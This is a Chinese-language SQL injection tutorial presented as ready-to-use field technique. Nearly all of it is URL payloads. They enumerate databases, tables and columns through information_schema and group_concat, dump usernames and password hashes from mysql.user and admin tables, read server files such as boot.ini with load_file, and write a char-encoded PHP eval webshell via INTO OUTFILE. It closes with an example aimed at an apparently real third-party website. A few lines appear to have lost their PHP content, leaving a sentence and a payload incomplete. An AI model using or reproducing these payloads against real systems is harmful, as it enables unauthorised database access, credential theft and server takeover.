SQL注入里,information_schema系统库可以说是核心战场。配合group_concat()函数,威力直接拉满——不仅能一口气列出所有数据库、表、字段名,还能绕过limit的逐行限制。下面来拆解最常用的几个注入手法,全是实战级干货。
基础字段探测与数据库遍历
先确认目标字段数。假设注入点在 https://127.0.0.1/sql.php?id=1,用 union select 0,0,0 探出字段为3。
然后统计用户数量:
https://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user
关键一步:列出所有数据库名。这时group_concat()就派上用场了——
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata
注意:只有root权限或全局权限才能爆出所有数据库,普通用户受限,只能看到自己有权访问的库。执行成功后,MySQL服务器上所有数据库名字会直观地列在一行,一目了然。
逐层深入:表名、字段名与数据提取
知道了目标数据库(比如 test),下一步就是查它有哪些表:
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
0x74657374 是 test 的十六进制编码,直接写字符串会麻烦,用hex值更干净。
有了表名(比如admin),就能查字段:
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
0x61646D696E 对应 admin。所有字段名一次爆出,比逐个猜高效太多。
这种注入方式灵活之处就在于突破了 limit 的限制——group_concat() 可以把多条记录合并成一个字符串返回,省去了反复调整 limit 的麻烦。
穿山甲风格的极限注入(高危权限专用)
以下操作仅限root或全局权限用户,用于直接操作 mysql.user 表。先看有哪些用户:
https://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1
查看对应密码(注意是旧版MySQL的password字段):
https://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1
通过调整 limit 2,1 里的数字就能遍历所有用户。虽然麻烦,但胜在精准。
传统limit逐条取 vs group_concat一把梭
常规做法是用 limit 一条条取:
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
……
但更爽的方式是直接用 group_concat() 一次搞定:
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin
所有用户名和密码瞬间合并输出,省时省力。
写文件:into outfile 与一句话木马
拿到数据库后,可以尝试写shell。注意路径格式要正确,例如 c:/2ww.php。
把 用ASCII码转换后写入:
https://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
更直接的方式是直接写字符串(如果服务器允许):
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'',3 into outfile 'c:/tt33.txt'
读文件:load_file 读取服务器敏感信息
利用 load_file() 可以读取服务器上的任意文件。例如读 c:\boot.ini:
https://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1
0x633a5c626f6f742e696e69 对应 c:\boot.ini 的十六进制。
简洁版:
https://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')
最后附一个实际站点的利用示例(字段数不同,自行调整):
https://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata
实战中,务必结合目标环境的权限灵活组合这些手法。相关测试用的数据库SQL文件和PHP代码,请参考附件打包下载。
